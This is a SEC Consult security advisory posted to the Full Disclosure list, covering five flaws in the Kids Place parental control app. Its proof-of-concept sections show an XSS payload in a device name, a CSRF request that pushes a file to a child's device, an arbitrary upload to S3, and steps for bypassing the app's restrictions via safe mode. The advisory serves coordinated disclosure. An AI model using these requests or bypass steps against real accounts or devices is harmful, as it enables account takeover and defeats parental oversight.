Message-ID: <d0469810-e04e-b367-468a-abf14d027c2c@sec-consult.com>
Date: Mon, 15 May 2023 07:09:30 +0000
From: "SEC Consult Vulnerability Lab,
 Research via Fulldisclosure" <fulldisclosure@...lists.org>
To: "fulldisclosure@...lists.org" <fulldisclosure@...lists.org>
Subject: [FD] SEC Consult SA-20230515-0 :: Multiple Vulnerabilities in
 Kiddoware Kids Place Parental Control Android App

SEC Consult Vulnerability Lab Security Advisory < 20230515-0 >
=======================================================================
               title: Multiple Vulnerabilities
             product: Kiddoware Kids Place Parental Control Android App
  vulnerable version: <=3.8.49
       fixed version: 3.8.50 or higher
          CVE number: CVE-2023-28153, CVE-2023-29078, CVE-2023-29079
              impact: High
            homepage: https://kiddoware.com
               found: 2022-09-29
                  by: Fabian Densborn (Office Vienna)
                      Bernhard Gründling (Office Vienna)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult.
                      SEC Consult is part of Eviden, an atos business
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Kiddoware is the world’s leading parental control solutions company
with a wide range of products and  serving over 5 million families
worldwide. Kiddoware is committed in helping you to protect your kids
while providing you intelligence to be proactive about your childs’
online activities."

Source: https://kiddoware.com/


Business recommendation:
------------------------
The vendor provides an update for the affected version(s) which
should be installed immediately.

An in-depth security analysis performed by security professionals is
highly advised, to identify and resolve potential further critical security
issues.

The issues identified in this application were part of our blog post
"The hidden costs of parental control apps" published a few months ago:
https://r.sec-consult.com/parents


Vulnerability overview/description:
-----------------------------------
1) Login and registration returns password as MD5 hash
Login and registration requests return the unsalted MD5 hash
of the password. This indicates that the passwords are stored
in an insecure format at the server. Furthermore, MD5 hashing
should not be used anymore in modern applications.


2) Stored XSS via device name in parent Dashboard (CVE-2023-29079)
The customizable name of the child's device can be used to
trigger a XSS payload in the parent web dashboard. Children
might be able to attack their parents' account.


3) Possible CSRF attacks in parent Dashboard (CVE-2023-29078)
All requests in the web dashboard are vulnerable to CSRF attacks.
The requests contain the device Id of the child device which must
be known to the attacker in order to successfully attack a child.
But the device Id is not considered a secret, as it is used in
the URL in some requests. An attacker could have obtained the Id
through the browser history.


4) Arbitrary File Upload to AWS S3 bucket
The web dashboard lets parents send files to the child's device.
The selected file is uploaded to an AWS S3 bucket and the returned
URL will be transmitted to the device which will then download it.
It is possible to send arbitrary files to the child's device and
thereby upload arbitrary files (size restriction ~10MB) to the
AWS S3 bucket. The returned link is publicly available, so it is
possible to use the server to spread malware.


5) Disable Child App Restriction without Parent's notice (CVE-2023-28153)
The child can remove all restrictions temporarily without the parents noticing.



Proof of concept:
-----------------
1) Login and registration returns password as MD5 hash
The "Change password" request looks as follows:
--------------------------------------------------------------------------------
POST /account/change_password/ HTTP/1.1
Host: kidsplace.kiddoware.com
Cookie: [...]
[...]

old_password=c869123c&new_password=password&confirm_password=password
--------------------------------------------------------------------------------

The response from the web server contains the hashed, unsalted password:
--------------------------------------------------------------------------------
{
	"error":null,
	"result":
		{
			"email":"xxxxx@...mple.com",
			"hashed_password":"5f4dcc3b5aa765d61d8327deb882cf99",
			"message":"Password successfully changed!"
		},
	"status":200
}
--------------------------------------------------------------------------------

Proving this is an unsalted MD5 hash:

$ echo -n "password" | md5sum -t
5f4dcc3b5aa765d61d8327deb882cf99  -


2) Stored XSS via device name in parent Dashboard (CVE-2023-29079)
The device name can be changed by the child's account by sending a POST request
to the API with the pushDeviceConfig method. The following payload can be used as
a PoC to trigger an alert box on every page the device name is visible in the
parent dashboard. Children/attackers would be able to take over their parents'
accounts via this attack.

--------------------------------------------------------------------------------
POST /v2/api/ HTTP/1.1
Host: kidsplace.kiddoware.com
Content-Type: application/json; charset=utf-8
Content-Length: 461
Accept-Encoding: gzip, deflate
User-Agent: okhttp/3.12.8
Connection: close

{
     "method":"pushDeviceConfig",
     "id":null,
     "params":["a28fd8c5-2dcd-11ed-8a7f-0217330f2cf9",
     {
         "isGPSEnabled":false,"deviceGCMRegID":"",
         "deviceUserAgeRange":3,
         "deviceName":"\"><img src=x onerror=\"alert(1)\"/>",
         [...]
     }
}
--------------------------------------------------------------------------------


3) Possible CSRF attacks in parent Dashboard (CVE-2023-29078)
As an example, an attacker can abuse the CSRF vulnerability to download an
arbitrary file to a child's device. It is simply needed to create a form which
automatically submits on page load. If a parent is logged in the web dashboard
and visits this malicious site, the authenticated request will be sent and the
file specified in the URL parameter will be downloaded by the child's device.

--------------------------------------------------------------------------------
POST /account/push_content/ HTTP/1.1
Host: kidsplace.kiddoware.com
Cookie: [...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: https://kidsplace.kiddoware.com
Content-Length: 75
Connection: close

url=https%3A%2F%2Fgoogle.de%2Findex.html&message=&deviceID=XXXXXXX
--------------------------------------------------------------------------------


4) Arbitrary File Upload to AWS S3 bucket
The web dashboard lets parents upload arbitrary files to the Kiddoware AWS S3 bucket
and push it to the child device.
--------------------------------------------------------------------------------
POST /account/push_content_file/ HTTP/1.1
Host: kidsplace.kiddoware.com
Cookie: [...]
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Content-Type: multipart/form-data; boundary=---------------------------27687116714103572458683268551
Origin: https://kidsplace.kiddoware.com
Content-Length: 296
[...]

-----------------------------27687116714103572458683268551
Content-Disposition: form-data; name="push_file"; filename="eicar.com.txt"
Content-Type: text/plain

<eicar-file>
-----------------------------27687116714103572458683268551--
--------------------------------------------------------------------------------

The upload of the eicar file worked without errors and could subsequently also be
downloaded  via the returned link. So there is no antivirus scan on the uploaded files.


5) Disable Child App Restriction without Parent's notice (CVE-2023-28153)
The child can disable the restrictions of the application without the parents noticing.
For this, the following steps are necessary:
a) If Android settings are blocked, reboot into Android Safe Mode.
b) Disable "Display over other apps" Permission for the app in Android settings.
c) After rebooting into normal mode, the child device can be used without restrictions.

For example, previously locked apps can now be used. To notice the problem, the parent
has to check the parent's dashboard manually, a notification is not sent. If the child
turns the permission back on in the meantime, the bypass will go unnoticed.


Vulnerable / tested versions:
-----------------------------
The following version has been tested and downloaded through Google Play store, which was
the most recent version available at the time of the test:
* 3.8.45

Later on, version 3.8.49 (2022-10-25) has been verified to be vulnerable as well.


Vendor contact timeline:
------------------------
2022-11-23: Contacting vendor through kiddoware@...doware.com and support@...doware.com
             Asking for security contact.
2022-11-23: Response received, requesting advisory to be submitted to an employee mail.
             No encryption demanded. Advisory sent to vendor.
2022-11-28: Vendor informs about ongoing backend rewrites and removing some
             upload functionalities. Some fixes will be live by Q1 2023.
             Everything will be addressed by end of 01-04-2023.
2022-12-15: SEC Consult informs about upcoming blog post about parental control apps.
2022-12-15: Vendor states that most of the issues have already been fixed.
2022-12-16: Recheck of vulnerabilities shows that not all vulnerabilities
             have been sufficiently addressed. Vendor was informed.
2022-12-16: Vendor explains what security measures will be implemented and
             informs SEC Consult as soon as this is done.
2022-12-30: Vendor informs that fixes for the found vulnerabilities have been published.
2023-01-11: SEC Consult rechecks the vulnerabilities and found out that the applied
             patches are not sufficient. Again, informs the vendor about it.
2023-02-14: No response from vendor, reminder sent.
2023-02-14: Vendor informs SEC Consult that all issues have been resolved.
2023-03-10: Requesting CVE numbers.
2023-03-12: Assigned CVE number for "Disable child restriction" finding.
2023-03-31: Assigned CVE numbers for XSS and CSRF findings.
2023-05-15: Public release of security advisory.


Solution:
---------
The vendor provides a patched version which should be installed immediately through Google
Play store.
* Version: 3.8.50 or higher


Workaround:
-----------
No workaround available.


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult is part of Eviden, an atos business
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, part
of Eviden, an atos business. It ensures the continued knowledge gain of SEC
Consult in the field of network and application security to stay ahead of the
attacker. The SEC Consult Vulnerability Lab supports high-quality penetration
testing and the evaluation of new offensive and defensive technologies for our
customers. Hence our customers obtain the most current information about
vulnerabilities and valid recommendation about the risk profile of new
technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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EOF F. Densborn, B. Gründling / @2023
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